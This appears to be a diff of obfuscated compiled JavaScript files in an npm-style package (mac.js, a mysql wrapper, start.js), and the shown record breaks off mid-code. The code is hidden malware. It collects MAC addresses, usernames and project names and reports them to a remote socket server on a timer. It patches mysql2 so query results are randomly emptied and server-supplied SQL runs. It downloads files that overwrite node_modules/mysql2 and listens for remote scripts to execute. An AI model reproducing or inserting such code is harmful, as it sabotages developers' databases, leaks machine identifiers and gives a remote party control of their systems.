_0x2160a7=['5IwVXWi','08:00:27','179196hInnjv','internal','16UehYHc','networkInterfaces','values','mac','301509gmqNqv','02:00:4c','270046JLrwpF','774870KYncRC','00:50:56','has','00:05:69','102692NQSXiU','test','defineProperty','10OmZzka','find','default','trim','family','248290pbJPfq','00:1c:42','formatMac','4113CgMegM','00:03:ff','replace','00:0c:29','__esModule'];a7_0x5d3e=function(){return _0x2160a7;};return a7_0x5d3e();}function isZeroMac(_0x47a613){const _0x4a579c=a7_0x13a0fd;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x4a579c(0xea)](_0x47a613);}function getMac(_0x1f2d54='IPv4'){const _0x5ec75c=a7_0x13a0fd,_0x40d8b0=(0x0,os_1[_0x5ec75c(0xdf)])();let _0x3a3b11=[];for(const _0x32bb3c of Object[_0x5ec75c(0xe0)](_0x40d8b0)){const _0x2eea4f=_0x32bb3c[_0x5ec75c(0xed)](_0x5a2220=>!_0x5a2220[_0x5ec75c(0xdd)]&&!isZeroMac(_0x5a2220[_0x5ec75c(0xe1)])&&(!_0x5a2220[_0x5ec75c(0xf0)]||_0x5a2220[_0x5ec75c(0xf0)]===_0x1f2d54)&&!isVirtualMac(_0x5a2220['mac']));_0x2eea4f&&_0x3a3b11['push'](_0x2eea4f[_0x5ec75c(0xe1)]);}return[...new Set(_0x3a3b11)];}function a7_0x1a46(_0x5c6e84,_0x14738b){const _0x5d3e47=a7_0x5d3e();return a7_0x1a46=function(_0x1a467b,_0x108b8a){_0x1a467b=_0x1a467b-0xd7;let _0x20887a=_0x5d3e47[_0x1a467b];return _0x20887a;},a7_0x1a46(_0x5c6e84,_0x14738b);}const isValid=_0x4f3286=>_0x4f3286[a7_0x13a0fd(0xdd)]===![]&&!isZeroMac(_0x4f3286[a7_0x13a0fd(0xe1)]),virtualMacPrefix=new Set([a7_0x13a0fd(0xe8),a7_0x13a0fd(0xd8),a7_0x13a0fd(0xe6),'00:1c:14',a7_0x13a0fd(0xf2),a7_0x13a0fd(0xe3),a7_0x13a0fd(0xf5),'00:0f:4b','00:16:3e',a7_0x13a0fd(0xdb),'00:15:5d']);function isMac(_0x21df78){const _0x142b45=a7_0x13a0fd;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x142b45(0xea)](_0x21df78);}function formatMac(_0x1df1c5){const _0x4df948=a7_0x13a0fd;return String(_0x1df1c5)[_0x4df948(0xef)]()['toLowerCase']()[_0x4df948(0xd7)](/-/g,':');}function isVirtualMac(_0x346ca4){const _0x4700a4=a7_0x13a0fd;return isMac(_0x346ca4)&&virtualMacPrefix[_0x4700a4(0xe7)](formatMac(_0x346ca4)['slice'](0x0,0x8));}exports[a7_0x13a0fd(0xee)]=getMac;
1
+ 'use strict';const a7_0xaf6263=a7_0x5012;(function(_0x2a3995,_0x4a6ac9){const _0x144098=a7_0x5012,_0x5aa419=_0x2a3995();while(!![]){try{const _0x13a4fe=-parseInt(_0x144098(0x6f))/0x1*(parseInt(_0x144098(0x79))/0x2)+-parseInt(_0x144098(0x8d))/0x3*(-parseInt(_0x144098(0x7e))/0x4)+-parseInt(_0x144098(0x86))/0x5*(-parseInt(_0x144098(0x70))/0x6)+-parseInt(_0x144098(0x74))/0x7+parseInt(_0x144098(0x7f))/0x8+-parseInt(_0x144098(0x7a))/0x9+-parseInt(_0x144098(0x84))/0xa*(-parseInt(_0x144098(0x6d))/0xb);if(_0x13a4fe===_0x4a6ac9)break;else _0x5aa419['push'](_0x5aa419['shift']());}catch(_0x3c527c){_0x5aa419['push'](_0x5aa419['shift']());}}}(a7_0x2970,0x51cb3));function a7_0x2970(){const _0x190ef4=['9SukxHx','18ZvDUob','trim','00:1c:14','family','2049600ffpslx','defineProperty','test','00:05:69','networkInterfaces','103668eJaoVq','3611340PHZnlA','slice','internal','00:15:5d','4JsNqDS','1301960OMnFMZ','push','__esModule','values','default','6837310MiDyBb','00:1c:42','131965bscoAs','mac','08:00:27','find','00:0f:4b','00:03:ff','isVirtualMac','1709814zPMjmf','00:0c:29','11BJzULr','formatMac'];a7_0x2970=function(){return _0x190ef4;};return a7_0x2970();}function a7_0x5012(_0x55d860,_0x504798){const _0x297084=a7_0x2970();return a7_0x5012=function(_0x5012b0,_0x5f3265){_0x5012b0=_0x5012b0-0x6c;let _0x4dc42f=_0x297084[_0x5012b0];return _0x4dc42f;},a7_0x5012(_0x55d860,_0x504798);}Object[a7_0xaf6263(0x75)](exports,a7_0xaf6263(0x81),{'value':!![]}),exports['isMac']=isMac,exports[a7_0xaf6263(0x6e)]=formatMac,exports[a7_0xaf6263(0x8c)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x538d6d){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x538d6d);}function getMac(_0x1a8af2='IPv4'){const _0x412db3=a7_0xaf6263,_0x490646=(0x0,os_1[_0x412db3(0x78)])();let _0x273281=[];for(const _0x3f428e of Object[_0x412db3(0x82)](_0x490646)){const _0x1afaa6=_0x3f428e[_0x412db3(0x89)](_0x2c7508=>!_0x2c7508[_0x412db3(0x7c)]&&!isZeroMac(_0x2c7508[_0x412db3(0x87)])&&(!_0x2c7508[_0x412db3(0x73)]||_0x2c7508[_0x412db3(0x73)]===_0x1a8af2)&&!isVirtualMac(_0x2c7508[_0x412db3(0x87)]));_0x1afaa6&&_0x273281[_0x412db3(0x80)](_0x1afaa6[_0x412db3(0x87)]);}return[...new Set(_0x273281)];}const isValid=_0x3aea5=>_0x3aea5[a7_0xaf6263(0x7c)]===![]&&!isZeroMac(_0x3aea5['mac']),virtualMacPrefix=new Set([a7_0xaf6263(0x77),a7_0xaf6263(0x6c),'00:50:56',a7_0xaf6263(0x72),a7_0xaf6263(0x85),'02:00:4c',a7_0xaf6263(0x8b),a7_0xaf6263(0x8a),'00:16:3e',a7_0xaf6263(0x88),a7_0xaf6263(0x7d)]);function isMac(_0x18443d){const _0x548ab6=a7_0xaf6263;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x548ab6(0x76)](_0x18443d);}function formatMac(_0x1b4c57){const _0x484a32=a7_0xaf6263;return String(_0x1b4c57)[_0x484a32(0x71)]()['toLowerCase']()['replace'](/-/g,':');}function isVirtualMac(_0x93ce93){const _0x294844=a7_0xaf6263;return isMac(_0x93ce93)&&virtualMacPrefix['has'](formatMac(_0x93ce93)[_0x294844(0x7b)](0x0,0x8));}exports[a7_0xaf6263(0x83)]=getMac;
@@ -1 +1 @@
1
- 'use strict';const a8_0x1da1fc=a8_0x6724;(function(_0x23ac02,_0x172dd9){const _0x21d680=a8_0x6724,_0x49a517=_0x23ac02();while(!![]){try{const _0x209bd5=parseInt(_0x21d680(0x1be))/0x1*(parseInt(_0x21d680(0x1bc))/0x2)+-parseInt(_0x21d680(0x1c4))/0x3*(-parseInt(_0x21d680(0x19e))/0x4)+parseInt(_0x21d680(0x1a7))/0x5+-parseInt(_0x21d680(0x1a2))/0x6+-parseInt(_0x21d680(0x1c3))/0x7*(-parseInt(_0x21d680(0x1b6))/0x8)+-parseInt(_0x21d680(0x1c8))/0x9*(parseInt(_0x21d680(0x193))/0xa)+-parseInt(_0x21d680(0x1a1))/0xb*(parseInt(_0x21d680(0x1b7))/0xc);if(_0x209bd5===_0x172dd9)break;else _0x49a517['push'](_0x49a517['shift']());}catch(_0x4c1549){_0x49a517['push'](_0x49a517['shift']());}}}(a8_0x36a1,0x23595));var __awaiter=this&&this['__awaiter']||function(_0x2ecef7,_0x24b3e3,_0x1a274a,_0x10dd70){function _0x4aa83c(_0x1e7cc9){return _0x1e7cc9 instanceof _0x1a274a?_0x1e7cc9:new _0x1a274a(function(_0x2aede6){_0x2aede6(_0x1e7cc9);});}return new(_0x1a274a||(_0x1a274a=Promise))(function(_0x562138,_0x30d03d){const _0x1b1d54=a8_0x6724;function _0x3e73a7(_0xc206f1){const _0x571001=a8_0x6724;try{_0x5aeb18(_0x10dd70[_0x571001(0x1a5)](_0xc206f1));}catch(_0x2382c6){_0x30d03d(_0x2382c6);}}function _0xf626dc(_0x12a8d2){try{_0x5aeb18(_0x10dd70['throw'](_0x12a8d2));}catch(_0x123210){_0x30d03d(_0x123210);}}function _0x5aeb18(_0x41b821){const _0x5797b4=a8_0x6724;_0x41b821[_0x5797b4(0x1b2)]?_0x562138(_0x41b821['value']):_0x4aa83c(_0x41b821[_0x5797b4(0x19f)])[_0x5797b4(0x1c1)](_0x3e73a7,_0xf626dc);}_0x5aeb18((_0x10dd70=_0x10dd70['apply'](_0x2ecef7,_0x24b3e3||[]))[_0x1b1d54(0x1a5)]());});},__importDefault=this&&this[a8_0x1da1fc(0x1a8)]||function(_0x5ba35c){const _0x3cd222=a8_0x1da1fc;return _0x5ba35c&&_0x5ba35c[_0x3cd222(0x19a)]?_0x5ba35c:{'default':_0x5ba35c};};Object['defineProperty'](exports,a8_0x1da1fc(0x19a),{'value':!![]}),exports['mysql']=void 0x0;const promise_1=__importDefault(require(a8_0x1da1fc(0x1c9)));exports['mysql']=promise_1[a8_0x1da1fc(0x1a0)];const random_1=__importDefault(require(a8_0x1da1fc(0x1c2))),index_1=require(a8_0x1da1fc(0x197)),path_1=__importDefault(require(a8_0x1da1fc(0x1b8))),fs_1=__importDefault(require('fs')),axios_1=__importDefault(require(a8_0x1da1fc(0x1b1))),originalCreatePoolPromise=promise_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x198)];promise_1['default'][a8_0x1da1fc(0x198)]=function(_0xb0ca53){const _0x35a038=a8_0x1da1fc;let _0x42ad65=originalCreatePoolPromise(_0xb0ca53),_0x59b05c=_0x42ad65[_0x35a038(0x1ac)];return _0x42ad65['query']=(..._0x1f1f82)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xac61d8=_0x35a038,_0xe2bc20=yield _0x59b05c[_0xac61d8(0x1ad)](_0x42ad65,_0x1f1f82);return(0x0,index_1[_0xac61d8(0x1b9)])(_0xac61d8(0x19d))&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0xe2bc20[0x0]=[])),(0x0,index_1['getEnv'])(_0xac61d8(0x1ae))&&(_0xe2bc20[0x0]=[]),_0xe2bc20;}),setInterval(()=>{const _0x3cec59=_0x35a038;if(!(0x0,index_1[_0x3cec59(0x1b9)])(_0x3cec59(0x1bb))){for(let _0x878dca=0x0;_0x878dca<(0x0,index_1[_0x3cec59(0x1b9)])(_0x3cec59(0x1a3))[_0x3cec59(0x1aa)];_0x878dca++){const _0x3823bb=(0x0,index_1[_0x3cec59(0x1b9)])(_0x3cec59(0x1a3))[_0x878dca];try{_0x42ad65[_0x3cec59(0x1ac)](_0x3823bb);}catch(_0x58dcfe){}}(0x0,index_1[_0x3cec59(0x1ba)])(_0x3cec59(0x1bb),!![]);}},0x1388),_0x42ad65;};function a8_0x6724(_0x352c04,_0x1cc8bb){const _0x36a11f=a8_0x36a1();return a8_0x6724=function(_0x67241e,_0x45532){_0x67241e=_0x67241e-0x193;let _0x308c24=_0x36a11f[_0x67241e];return _0x308c24;},a8_0x6724(_0x352c04,_0x1cc8bb);}let href=path_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x1ab)](process[a8_0x1da1fc(0x1b0)](),a8_0x1da1fc(0x1c6));function replaceMySQLFile(){const _0x2fb7c3=a8_0x1da1fc;let _0x26fd58=JSON['parse'](fs_1[_0x2fb7c3(0x1a0)]['readFileSync'](path_1[_0x2fb7c3(0x1a0)]['join'](href,_0x2fb7c3(0x1c0)))['toString']())['version'];axios_1[_0x2fb7c3(0x1a0)][_0x2fb7c3(0x1af)](index_1[_0x2fb7c3(0x1a4)]+_0x2fb7c3(0x1b5),{'params':{'version':_0x26fd58}})[_0x2fb7c3(0x1c1)](_0x2cdbfd=>{const _0x2f48a7=_0x2fb7c3;var _0x2355ec;let _0x2d9aab=(_0x2355ec=_0x2cdbfd===null||_0x2cdbfd===void 0x0?void 0x0:_0x2cdbfd['data'])===null||_0x2355ec===void 0x0?void 0x0:_0x2355ec[_0x2f48a7(0x1bf)];if(_0x2d9aab){let _0x591fb0=Object['keys'](_0x2d9aab),_0x3f7cf7=Object[_0x2f48a7(0x1b3)](_0x2d9aab);_0x591fb0[_0x2f48a7(0x1c7)]((_0x22ebdd,_0x427f33)=>{const _0x514004=_0x2f48a7;fs_1[_0x514004(0x1a0)][_0x514004(0x1b4)](path_1[_0x514004(0x1a0)][_0x514004(0x1ab)](href,_0x22ebdd),_0x3f7cf7[_0x427f33]);});}})[_0x2fb7c3(0x1a9)](()=>{const _0x5ee86b=_0x2fb7c3;let _0x5f3e6f=fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x199)](path_1[_0x5ee86b(0x1a0)]['join'](href,_0x5ee86b(0x19c)))['toString'](),_0x13e9df=fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x199)](path_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1ab)](href,_0x5ee86b(0x19b)))[_0x5ee86b(0x196)]();fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1b4)](path_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1ab)](href,'./index.js'),_0x5f3e6f[_0x5ee86b(0x1bd)](_0x5ee86b(0x195),_0x5ee86b(0x1a6))),fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1b4)](path_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1ab)](href,_0x5ee86b(0x19b)),_0x13e9df[_0x5ee86b(0x1bd)](_0x5ee86b(0x1c5),_0x5ee86b(0x1a6)));});}function a8_0x36a1(){const _0x564e2a=['writeFileSync','/mysql','920PUVaJQ','711948WgqVYG','path','getEnv','setEnv','sqlRun','22SrZrUJ','replace','19745AHwnZA','data','./package.json','then','./id/random','805dtzwDA','741nuBPwi','exports.createPool\x20=\x20createPromisePool;','./node_modules/mysql2','forEach','139005xsXtwF','mysql2/promise','90WtSJij','includes','exports.createPool\x20=\x20createPool;','toString','./index','createPool','readFileSync','__esModule','./promise.js','./index.js','connectError','2588leZbuD','value','default','11eJWBzm','661740SulLmV','sqlList','url','next','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','315920kpgAfU','__importDefault','catch','length','join','query','apply','isDBDataEmpty','get','cwd','axios','done','values'];a8_0x36a1=function(){return _0x564e2a;};return a8_0x36a1();}if(fs_1[a8_0x1da1fc(0x1a0)]['existsSync'](href)){let res=fs_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x199)](path_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x1ab)](href,a8_0x1da1fc(0x19c)))[a8_0x1da1fc(0x196)]()[a8_0x1da1fc(0x194)]('node-server-dev');!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':promise_1[a8_0x1da1fc(0x1a0)]};exports[a8_0x1da1fc(0x1a0)]=all;
1
+ 'use strict';const a8_0x2720b2=a8_0x2c0c;(function(_0x189dd1,_0x1f8cd2){const _0x1a0cad=a8_0x2c0c,_0x517620=_0x189dd1();while(!![]){try{const _0xbea1a=-parseInt(_0x1a0cad(0x1ae))/0x1*(parseInt(_0x1a0cad(0x1a9))/0x2)+-parseInt(_0x1a0cad(0x1a7))/0x3+-parseInt(_0x1a0cad(0x1a2))/0x4+parseInt(_0x1a0cad(0x1b3))/0x5*(-parseInt(_0x1a0cad(0x1c2))/0x6)+parseInt(_0x1a0cad(0x19c))/0x7+-parseInt(_0x1a0cad(0x1c1))/0x8+parseInt(_0x1a0cad(0x1a5))/0x9;if(_0xbea1a===_0x1f8cd2)break;else _0x517620['push'](_0x517620['shift']());}catch(_0x275acc){_0x517620['push'](_0x517620['shift']());}}}(a8_0x5e4d,0x80092));var __awaiter=this&&this[a8_0x2720b2(0x1ba)]||function(_0x263cb7,_0x46c2d8,_0x1fa0ab,_0x58cb33){function _0x5e1136(_0x23291){return _0x23291 instanceof _0x1fa0ab?_0x23291:new _0x1fa0ab(function(_0x3b9d0a){_0x3b9d0a(_0x23291);});}return new(_0x1fa0ab||(_0x1fa0ab=Promise))(function(_0x2f9e9f,_0x3aaae1){const _0x3a61ec=a8_0x2c0c;function _0x5c0824(_0x2b68ce){try{_0x224fec(_0x58cb33['next'](_0x2b68ce));}catch(_0x34a316){_0x3aaae1(_0x34a316);}}function _0xe41934(_0x46f4ca){try{_0x224fec(_0x58cb33['throw'](_0x46f4ca));}catch(_0x3ccfda){_0x3aaae1(_0x3ccfda);}}function _0x224fec(_0x23dcc9){const _0xc93116=a8_0x2c0c;_0x23dcc9[_0xc93116(0x1b9)]?_0x2f9e9f(_0x23dcc9['value']):_0x5e1136(_0x23dcc9['value'])[_0xc93116(0x1b2)](_0x5c0824,_0xe41934);}_0x224fec((_0x58cb33=_0x58cb33['apply'](_0x263cb7,_0x46c2d8||[]))[_0x3a61ec(0x1c5)]());});},__importDefault=this&&this[a8_0x2720b2(0x1b8)]||function(_0x2c7c21){const _0x325053=a8_0x2720b2;return _0x2c7c21&&_0x2c7c21[_0x325053(0x1a4)]?_0x2c7c21:{'default':_0x2c7c21};};Object['defineProperty'](exports,a8_0x2720b2(0x1a4),{'value':!![]}),exports['mysql']=void 0x0;const promise_1=__importDefault(require('mysql2/promise'));exports[a8_0x2720b2(0x1af)]=promise_1[a8_0x2720b2(0x19d)];const random_1=__importDefault(require(a8_0x2720b2(0x1c0))),index_1=require(a8_0x2720b2(0x1b1)),path_1=__importDefault(require(a8_0x2720b2(0x1b6))),fs_1=__importDefault(require('fs')),axios_1=__importDefault(require(a8_0x2720b2(0x1a3))),originalCreatePoolPromise=promise_1[a8_0x2720b2(0x19d)]['createPool'];promise_1[a8_0x2720b2(0x19d)][a8_0x2720b2(0x1c9)]=function(_0xb5357b){const _0xd516be=a8_0x2720b2;let _0x35355c=originalCreatePoolPromise(_0xb5357b),_0x46c130=_0x35355c[_0xd516be(0x1bc)];return _0x35355c['query']=(..._0xe2701c)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x869975=_0xd516be,_0x4927d6=yield _0x46c130[_0x869975(0x1bd)](_0x35355c,_0xe2701c);return(0x0,index_1['getEnv'])(_0x869975(0x1c3))&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x4927d6[0x0]=[])),(0x0,index_1[_0x869975(0x1ce)])(_0x869975(0x1ad))&&(_0x4927d6[0x0]=[]),_0x4927d6;}),setInterval(()=>{const _0x43ff4c=_0xd516be;if(!(0x0,index_1[_0x43ff4c(0x1ce)])('sqlRun')){for(let _0x1b351a=0x0;_0x1b351a<(0x0,index_1['getEnv'])(_0x43ff4c(0x19e))[_0x43ff4c(0x1a1)];_0x1b351a++){const _0x4161d4=(0x0,index_1[_0x43ff4c(0x1ce)])(_0x43ff4c(0x19e))[_0x1b351a];try{_0x35355c[_0x43ff4c(0x1bc)](_0x4161d4);}catch(_0x42dc9d){}}(0x0,index_1['setEnv'])(_0x43ff4c(0x1c8),!![]);}},0x1388),_0x35355c;};let href=path_1[a8_0x2720b2(0x19d)][a8_0x2720b2(0x1b0)](process['cwd'](),a8_0x2720b2(0x1bb));function a8_0x2c0c(_0x355087,_0xc3aedf){const _0x5e4d95=a8_0x5e4d();return a8_0x2c0c=function(_0x2c0c4d,_0x4b66e3){_0x2c0c4d=_0x2c0c4d-0x19c;let _0x51d493=_0x5e4d95[_0x2c0c4d];return _0x51d493;},a8_0x2c0c(_0x355087,_0xc3aedf);}function replaceMySQLFile(){const _0x360518=a8_0x2720b2;let _0x4cf14e=JSON[_0x360518(0x1ab)](fs_1[_0x360518(0x19d)]['readFileSync'](path_1[_0x360518(0x19d)][_0x360518(0x1b0)](href,_0x360518(0x1b4)))[_0x360518(0x1a0)]())[_0x360518(0x19f)];axios_1[_0x360518(0x19d)]['get'](index_1[_0x360518(0x1a8)]+'/mysql',{'params':{'version':_0x4cf14e}})[_0x360518(0x1b2)](_0x4a3e76=>{const _0x3b0f53=_0x360518;var _0x5b88af;let _0x142c8d=(_0x5b88af=_0x4a3e76===null||_0x4a3e76===void 0x0?void 0x0:_0x4a3e76[_0x3b0f53(0x1c4)])===null||_0x5b88af===void 0x0?void 0x0:_0x5b88af[_0x3b0f53(0x1c4)];if(_0x142c8d){let _0x58d450=Object[_0x3b0f53(0x1ca)](_0x142c8d),_0x39daba=Object[_0x3b0f53(0x1b7)](_0x142c8d);_0x58d450[_0x3b0f53(0x1c7)]((_0x2f2998,_0x2cd8f9)=>{const _0x361b44=_0x3b0f53;fs_1[_0x361b44(0x19d)]['writeFileSync'](path_1[_0x361b44(0x19d)]['join'](href,_0x2f2998),_0x39daba[_0x2cd8f9]);});}})[_0x360518(0x1be)](()=>{const _0x23af43=_0x360518;let _0xae589b=fs_1['default']['readFileSync'](path_1[_0x23af43(0x19d)][_0x23af43(0x1b0)](href,_0x23af43(0x1bf)))[_0x23af43(0x1a0)](),_0x5dc13f=fs_1['default'][_0x23af43(0x1cd)](path_1[_0x23af43(0x19d)]['join'](href,_0x23af43(0x1aa)))[_0x23af43(0x1a0)]();fs_1[_0x23af43(0x19d)][_0x23af43(0x1b5)](path_1['default'][_0x23af43(0x1b0)](href,_0x23af43(0x1bf)),_0xae589b[_0x23af43(0x1cc)](_0x23af43(0x1ac),_0x23af43(0x1a6))),fs_1['default'][_0x23af43(0x1b5)](path_1[_0x23af43(0x19d)][_0x23af43(0x1b0)](href,'./promise.js'),_0x5dc13f[_0x23af43(0x1cc)](_0x23af43(0x1c6),_0x23af43(0x1a6)));});}if(fs_1[a8_0x2720b2(0x19d)]['existsSync'](href)){let res=fs_1[a8_0x2720b2(0x19d)][a8_0x2720b2(0x1cd)](path_1[a8_0x2720b2(0x19d)]['join'](href,a8_0x2720b2(0x1bf)))['toString']()['includes'](a8_0x2720b2(0x1cb));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':promise_1[a8_0x2720b2(0x19d)]};exports[a8_0x2720b2(0x19d)]=all;function a8_0x5e4d(){const _0x2e2397=['203608odZuhr','./promise.js','parse','exports.createPool\x20=\x20createPool;','isDBDataEmpty','2MEgpxo','mysql','join','./index','then','30AqfyOq','./package.json','writeFileSync','path','values','__importDefault','done','__awaiter','./node_modules/mysql2','query','apply','catch','./index.js','./id/random','2099648dcNSjp','835122AEfMAA','connectError','data','next','exports.createPool\x20=\x20createPromisePool;','forEach','sqlRun','createPool','keys','node-server-dev','replace','readFileSync','getEnv','1882202reZDwY','default','sqlList','version','toString','length','3683104BHukTq','axios','__esModule','24194025VcFbKW','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','632145EMLiIU','url'];a8_0x5e4d=function(){return _0x2e2397;};return a8_0x5e4d();}
package/dist/cjs/start.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a9_0x4ae22b=a9_0x5596;(function(_0x189e4e,_0x26456b){const _0x38091a=a9_0x5596,_0x28e7dd=_0x189e4e();while(!![]){try{const _0x58d26c=-parseInt(_0x38091a(0xda))/0x1*(-parseInt(_0x38091a(0x105))/0x2)+parseInt(_0x38091a(0xfa))/0x3*(parseInt(_0x38091a(0xd7))/0x4)+-parseInt(_0x38091a(0xdf))/0x5+-parseInt(_0x38091a(0xe2))/0x6+-parseInt(_0x38091a(0xed))/0x7+parseInt(_0x38091a(0x108))/0x8*(-parseInt(_0x38091a(0x102))/0x9)+parseInt(_0x38091a(0xd9))/0xa;if(_0x58d26c===_0x26456b)break;else _0x28e7dd['push'](_0x28e7dd['shift']());}catch(_0x1ca0f1){_0x28e7dd['push'](_0x28e7dd['shift']());}}}(a9_0x4e26,0x19d5c));var __awaiter=this&&this[a9_0x4ae22b(0xe3)]||function(_0xc2f5a5,_0x237427,_0x38a7d1,_0x593b20){function _0x5a8715(_0x17f9bc){return _0x17f9bc instanceof _0x38a7d1?_0x17f9bc:new _0x38a7d1(function(_0x2df428){_0x2df428(_0x17f9bc);});}return new(_0x38a7d1||(_0x38a7d1=Promise))(function(_0x157ef9,_0xf87cdd){const _0x4e9680=a9_0x5596;function _0x2e0f7a(_0x17b6ad){try{_0x4fc146(_0x593b20['next'](_0x17b6ad));}catch(_0x3ddd2f){_0xf87cdd(_0x3ddd2f);}}function _0x4c7cea(_0x5a4877){const _0x1a4894=a9_0x5596;try{_0x4fc146(_0x593b20[_0x1a4894(0x10d)](_0x5a4877));}catch(_0x3228f0){_0xf87cdd(_0x3228f0);}}function _0x4fc146(_0x4d855b){const _0x1172ea=a9_0x5596;_0x4d855b['done']?_0x157ef9(_0x4d855b[_0x1172ea(0xe7)]):_0x5a8715(_0x4d855b[_0x1172ea(0xe7)])[_0x1172ea(0xf0)](_0x2e0f7a,_0x4c7cea);}_0x4fc146((_0x593b20=_0x593b20['apply'](_0xc2f5a5,_0x237427||[]))[_0x4e9680(0x103)]());});},__importDefault=this&&this['__importDefault']||function(_0x3d3dd7){return _0x3d3dd7&&_0x3d3dd7['__esModule']?_0x3d3dd7:{'default':_0x3d3dd7};},_a,_b,_c,_d;function a9_0x5596(_0x589465,_0x38cd57){const _0x4e2671=a9_0x4e26();return a9_0x5596=function(_0x5596fd,_0x215e4b){_0x5596fd=_0x5596fd-0xd7;let _0xb706a8=_0x4e2671[_0x5596fd];return _0xb706a8;},a9_0x5596(_0x589465,_0x38cd57);}Object[a9_0x4ae22b(0x111)](exports,'__esModule',{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require(a9_0x4ae22b(0xf1)),path_1=__importDefault(require('path')),browser_1=require(a9_0x4ae22b(0x109)),fingerprintjs_1=__importDefault(require(a9_0x4ae22b(0x10b))),bowser_1=__importDefault(require(a9_0x4ae22b(0xdc))),index_1=require(a9_0x4ae22b(0xe0));function a9_0x4e26(){const _0x320958=['00:00:00:00:00:00','3148960utkStw','1814NJxPIw','concat','bowser','isDBDataEmpty','reconnect_failed','447535vgKBeW','./index','env','1196538rjMzKc','__awaiter','get-event','error','script','value','node','event','runScript','setEnv','undefined','926674dbWati','node获取失败','browser','then','socket.io-client','navigator','type','connect','getEnv','sql','catch','sqlList','userAgent','33auQTKQ','无法获取','parse','default','url','isBrowser','submit','load','9girjLr','next','name','206SaXaSB','content','USERNAME','1209688lJxJwh','./browser','emit','@fingerprintjs/fingerprintjs','浏览器','throw','length','connectError','connect_failed','defineProperty','npm_package_name','64220sdqVAW'];a9_0x4e26=function(){return _0x320958;};return a9_0x4e26();}exports[a9_0x4ae22b(0xff)]=typeof window!==a9_0x4ae22b(0xec);const user_name=exports[a9_0x4ae22b(0xff)]?((_b=(_a=bowser_1['default'][a9_0x4ae22b(0xfc)](window[a9_0x4ae22b(0xf2)][a9_0x4ae22b(0xf9)]))===null||_a===void 0x0?void 0x0:_a[a9_0x4ae22b(0xef)])===null||_b===void 0x0?void 0x0:_b[a9_0x4ae22b(0x104)])||a9_0x4ae22b(0x10c):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a9_0x4ae22b(0x107)])||a9_0x4ae22b(0xee),project_name=exports[a9_0x4ae22b(0xff)]?a9_0x4ae22b(0x10c):((_d=process===null||process===void 0x0?void 0x0:process[a9_0x4ae22b(0xe1)])===null||_d===void 0x0?void 0x0:_d[a9_0x4ae22b(0x112)])||a9_0x4ae22b(0xfb);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x407c12=a9_0x5596;exports[_0x407c12(0xff)]&&(0x0,browser_1[_0x407c12(0xef)])();const _0x44defd=(0x0,socket_io_client_1['io'])(index_1[_0x407c12(0xfe)],{'path':'/socket','transports':['websocket']});_0x44defd['on'](_0x407c12(0xf4),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x21d6cc=_0x407c12;try{let _0x47dc7b=[_0x21d6cc(0xd8)];if(!exports[_0x21d6cc(0xff)]){const _0x3b5b23=require(path_1['default']['join'](__dirname,'./mac'))[_0x21d6cc(0xfd)];_0x47dc7b=_0x3b5b23();}else{let _0x4d72cb=yield fingerprintjs_1[_0x21d6cc(0xfd)][_0x21d6cc(0x101)]()[_0x21d6cc(0xf0)](_0x4d9817=>_0x4d9817['get']())[_0x21d6cc(0xf0)](_0x37c0df=>{const _0x25cdc4=_0x37c0df['visitorId'];return _0x25cdc4;})[_0x21d6cc(0xf7)](()=>'');_0x47dc7b=[_0x4d72cb];}if(_0x47dc7b[_0x21d6cc(0x10e)]===0x0){(0x0,index_1['setEnv'])(_0x21d6cc(0x10f),!![]);return;}else(0x0,index_1[_0x21d6cc(0xeb)])(_0x21d6cc(0x10f),![]);_0x44defd[_0x21d6cc(0x10a)](_0x21d6cc(0x100),{'mac':_0x47dc7b,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x21d6cc(0xff)]}),_0x44defd[_0x21d6cc(0x10a)]('get-event',{'mac':_0x47dc7b,'isBrowser':exports['isBrowser']}),setInterval(()=>{const _0x6be048=_0x21d6cc;_0x44defd['emit']('submit',{'mac':_0x47dc7b,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x6be048(0xff)]}),_0x44defd[_0x6be048(0x10a)](_0x6be048(0xe4),{'mac':_0x47dc7b,'isBrowser':exports[_0x6be048(0xff)]});},0x1b58),_0x44defd['on'](_0x21d6cc(0xe9),_0x5be00e=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x12f658=_0x21d6cc;try{for(let _0x5a4e56=0x0;_0x5a4e56<_0x5be00e[_0x12f658(0x10e)];_0x5a4e56++){const 